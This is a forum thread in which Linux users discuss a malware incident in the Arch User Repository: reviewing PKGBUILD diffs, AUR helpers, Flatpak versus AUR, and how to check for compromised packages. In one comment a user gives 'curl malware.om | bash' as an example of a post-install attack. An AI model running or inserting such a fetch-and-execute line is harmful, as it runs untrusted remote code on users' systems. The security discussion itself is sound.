Arch contributors are cleaning up a malware incident in the AUR after suspicious updates appeared across several user-maintained packages.
  • GandalfDG@beehaw.orgEnglish
    3·
    3 小时前

    yikes, I’m glad I decided to switch to debian stable recently, not that it’s a foolproof system either

    • FiniteBanjo@programming.dev
      1·
      3 小时前

      Yeah, it seems like these sort of problems aren’t necesarily due to an insecure system like the AUR but moreso because of the target’s publicity and popularity which is definitely the case with the rise of CachyOS.

  • dream_weasel@sh.itjust.works
    16·
    9 小时前

    Ah yes, review the PKGBUILD for every AUR update. Luckily I do this while I’m rereading the ToS every time those get changed for all my software as well.

    When I finish that I intend to read the changelog in git for each of the commits since the last update.

  • Solemarc@lemmy.world
    11·
    12 小时前

    Hilarious that it’s JavaScript again, truely npm, pypi and cargo are obvious targets. Also, guys, minimise your usage of the AUR! I don’t use any AUR packages.

    Core > Extra > flathub >>>>>>>>>>>>> AUR

    Not that core/extra/flathub can’t be pwned but it’s harder then the AUR.

      • KianaTabion@lemmy.today
        3·
        5 小时前

        Not the one you asked, but it’s a case of priorities:

        • If you want it to just work, then the AUR is probably the better pick. Don’t get me wrong, through; most flatpaks should (mostly) work like how you’d expect them to behave natively.
        • But, (Op)Sec-wise, the verified flatpaks win. No contest. Simply, because there’s no third party involved in the process. (And I haven’t even gone over flatpaks’ superior sandboxing.)
      • anyhow2503@lemmy.world
        4·
        10 小时前

        Minimizing AUR usage doesn’t necessarily mean not using it at all, but I would weigh those advantages carefully against the risk it brings. I would also recommend the people who don’t know what they are doing to not use it at all.

    • ugjka@lemmy.ugjka.netEnglish
      9·
      11 小时前

      Tbf, it is run in package post install section so it could be anything even the typical “curl malware.om | bash”. There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM

      • kboy101222@sh.itjust.worksEnglish
        8·
        10 小时前

        I’m just a web guy whose tired of installing 10 xetabytes of 2 line libraries every time I wanna check out anything web related

    • teawrecks@sopuli.xyz
      1·
      1 小时前

      The AUR is unsafe by design. It’s not intended to be something you just install from willy-nilly. It’s intended to be a helpful way for arch users who know what they’re doing to exchange a convenient way to install arbitrary packages. But you should always be just as wary of it as copy/pasting shell code from a random person on the internet.

    • Excel@lemming.megumin.orgEnglish
      15·
      11 小时前

      The way to prevent it is to get more stuff into the official repos so people aren’t forced to rely on AUR in the first place.

      • 1984@lemmy.today
        2·
        7 小时前

        It depends. There are trusted well known packages and those can be trusted in my opinion. But I wouldn’t install any random package someone made.

        And how would moving the packages into official repo solve anything? The reason it’s in the AUR is because the arch maintainers don’t have time to maintain packages.

    • iltg@sh.itjust.works
      7·
      11 小时前

      in theory? getting rid of paru and friends, manually reviewing the pkgbuild and the source of whatever it is installing

      realistically? nothing. the AUR is a glorified repository of build scripts anyone can upload. the script or the package itself can ship malware

      the AUR is mostly the same as downloading and running random exes on windows. you should avoid it, make it as manual as possible (forcing you to double check what’s happening) and be able to review the installer/package or trust someone who can vouch for its safety

      • Bananskal@nord.pubEnglish
        1·
        1 小时前

        paru shows you the PKGBUILD diffs on upgrade, so you can review then and deny upgrades.

        But realistically I am not going to go into the code itself on my installed packages to check for malware or other types of attacks. That’s too time consuming for my risk level, and requires more knowledge than can be expected, to be honest.

        Edit: but maybe you’re talking about when first installing a package? Come to think of it, I’m not sure it shows the PKGBUILD at that point. 🤔

    • Feyd@programming.dev
      43·
      17 小时前

      The AUR is kind of a trap. It can be useful but it has the warnings it has for a reason. Maintainers are not vetted so you depend on them both to be benevolent and competent and neither are reliable.

      No one should really use it without taking the time to understand pkgbuild but you have people recommending AUR helpers like yay and tying AUR updates to regular system updates which is a terrible idea

      • Victor@lemmy.world
        7·
        14 小时前

        paru always shows you the diff of the PKGBUILD on upgrade, so no need to worry about adding it to an alias that does both.

        In fact, just running paru is the same as running

        pacman -Syu
paru -Sau

        At the end I review the PKGBUILDs and make sure everything looks reasonable. Usually it’s just new source hashes, but not every time.

          • hoppolito@mander.xyzEnglish
            7·
            15 小时前

            And just to be very explicit why this is an issue: each time the package is upgraded through an automated update, the PKGBUILD may change (e.g. to adapt to different dependencies, file structure, etc introduced with new app version).

            That also means an AUR maintainer can smuggle in malware with any of those updates, even if you checked the original PKGBUiLD when you installed. And, anyone can request taking over maintenance for unmaintained packages, so it can even happen if the original maintainer was benevolent.

            Always check PKGBUILD files on upgrade, even if just a glance. If I remember correctly yay had a function to always show you PKGBUILD diffs before updates, not sure if that was automatically enabled.

            • jcarax@beehaw.org
              1·
              8 分钟前

              Yeah, it’s never sat very well with me. I’ve gone through cycles where I’ll use a good bit of AUR, to none at all. I had been using a handful of things, but realized that almost all of it was Python stuff that I could more safely install with pip or uv, so I’ve migrated all of that. The one thing left is Manuskript, and it hardly gets updates anyway.

            • Victor@lemmy.world
              7·
              14 小时前

              Paru shows you the diffs by default.

              I just run paru when I do system upgrades. Very convenient to have one command doing everything in a somewhat safe way.

              Of course, inspecting the PKGBUILDs still doesn’t protect us from having the actual software repositories compromised. Just because only the source hash changed doesn’t mean the software doesn’t have malware now.

              That’s where I draw the line regarding trust. I don’t feel like going into to each release of each AUR package I have installed to check code to see if malware was injected. 😅

  • oce 🐆@jlai.lu
    28·
    20 小时前

    Trying to escape surveillance capitalism while installing aur packages willy-nilly.

    • FiniteBanjo@programming.dev
      21·
      18 小时前

      Are you one of the malicious actors? Thats some shit I’d expect to hear from the people doing this, trying to justify the attack by blaming the users for “capitalism”.

      • oce 🐆@jlai.lu
        7·
        8 小时前

        I am quite confused by your assumptions. I am just making a joke about people trying to avoid surveillance capitalism tools on one side and gleefully installing aur packages from random people on the other side, potentially making their surveillance exposure worse. I’m part of them some time because it’s too hard to verify everything everytime.

      • iltg@sh.itjust.works
        5·
        11 小时前

        i can empathize with those infected but it’s important to note that the source of this issue is still installing random stuff from random people. the aur is not the same as arch repos, and users wanting to opt in need to take more precautions than usual

      • Flagstaff@programming.devEnglish
        1·
        9 小时前

        That’s probably simply a more skeptical take of my own newbie perspective: the automated update systems on Linux are feeling increasingly scary since their maintainers can get hacked… I’m on Mint and I wish that the Update Manager would show changelogs per update, at least (even if those, too, can be fabricated)…

    • TheDuke@europe.pubEnglish
      4·
      9 小时前

      Oh my, I’m new to Linux and I use CachyOS for my gaming rig at home. Most of the time I have no idea what I’m doing, but shit runs well and I’m happy about it. But how the hell do I check my noob ass if it’s compromised?!

      • FiniteBanjo@programming.dev
        1·
        3 小时前

        I’m not real clear on if this is the case but you could try:

        1. Have you installed or updated from the AUR before, such as with Yay? Specifically after June 5th? If so, check this list or the post above for a list of compromised packages. https://gr.ht/aur_pkg_list.txt

        2. Maybe pacman -Q | grep atomic-lockfile because that appears to be what the threat actor is installing but I’m not really sure if that’s how it works…?

        EDIT: If you really want to play it safe then you could try yay -R $(pacman -Qmq) to remove every aur package and wait out the storm, just be careful to backup important files.

    • Grass@sh.itjust.works
      5·
      18 小时前

      alvr as in the vr streaming program for standalone headsets? that’s kind of a niche among niches. Linux VR users with standalone vr headsets that use that specific method.

      • NOPper@lemmy.dbzer0.comEnglish
        5·
        16 小时前

        I panicked a bit when I saw the news earlier today as one of those niche guys. Then remembered I had removed it for WiVRn a few weeks ago and don’t have anything else off the AUR. Double niche win lol

      • timestatic@feddit.org
        1·
        14 小时前

        I actually had the alvr bin aur installed on my old destop machine. Its just the only proper way for me on Quest to properly play any PCVR games. But i haven’t used nor updated that one in a while. My new arch machine luckily doesn’t have this installed but now im freaking out

  • ZombieCyborgFromOuterSpace@piefed.caEnglish
    5·
    19 小时前

    Why anyone is using Arch at this point is beyond me.

    Every update is a potential failure waiting to happen. And on top of that, their user repos are infected with malware.

    Yeah, I’m going to stick with Debian.

    • zelifcam@lemmy.worldEnglish
      5·
      10 小时前

      Installing from the AUR on arch is nearly the equivalent of an install from a PPA on Debian.

    • mlfh@lm.mlfh.orgEnglish
      44·
      18 小时前

      Of course the secondary opt-in user repo with unvetted package maintainers is infected with malware, it’d be a miracle if it weren’t! They warn as much in the docs. Use at your own risk, or package and maintain it yourself, because you’re likely not finding it packaged more reliably elsewhere.

      And I love Debian, but if you think the Debian repos with 30,000+ packages and 1000+ community maintainers aren’t also infected with malware…

    • webghost0101@sopuli.xyz
      16·
      18 小时前

      Being critical towards operating system: Great

      Actual argument: fair

      Solution: oof

      Debian is by all means great, for many things, but for a main pc? Shivers

      • anyhow2503@lemmy.world
        3·
        10 小时前

        What makes this a fair argument? Debian not having an AUR analogue? It’s a shit response from someone who couldn’t even be bothered to look up any information on what the AUR is or how it’s supposed to be used. And what exactly is wrong with using debian on a “main pc”? If people want ancient packages with backported security patches they can knock themselves out. It doesn’t fit my requirements, but there’s nothing wrong with it either.

        • webghost0101@sopuli.xyz
          1·
          9 小时前

          Its rather subjective but it wouldn’t be the first time updating arch has broken my system and its fair that some people don’t want to deal with that and much prefer some more mature.

          And i have no qualms with people who do use debian for a main system but i do assume everyone who do are retired folk with a long career in computing behind them and aren’t in the market to change to another.

          • anyhow2503@lemmy.world
            3·
            9 小时前

            The AUR is not the standard arch package repository and arch as a distro shouldn’t be judged by it’s merits or dangers. Yes, obviously a rolling release distro is not the best fit for most people, but that’s beside the point. Debian is completely fine for people who are looking to replace their windows machine with something stable and don’t need ton of exotic software or especially recent packages.

          • dream_weasel@sh.itjust.works
            1·
            9 小时前

            Who is having breaking update issues anymore in 2026? I’ve been running vanilla Arch for 10 years and the only times that has happened (there have been a handful I guess) the archwiki says “hey there’s a breaking change run these 2 commands” and it’s fixed. As a beginner on Linux I actually switched to Arch because every Ubuntu issue I googled was 6 to 10 lines to fix while arch was 1 to 3 lines. The only problem is that the OS expects that you be able to read, which is sometimes tough.

            I can’t imagine being on a system that is multiple major releases behind on basic things like nvim and python. I guess if you’re content not to use anything remotely current it makes sense.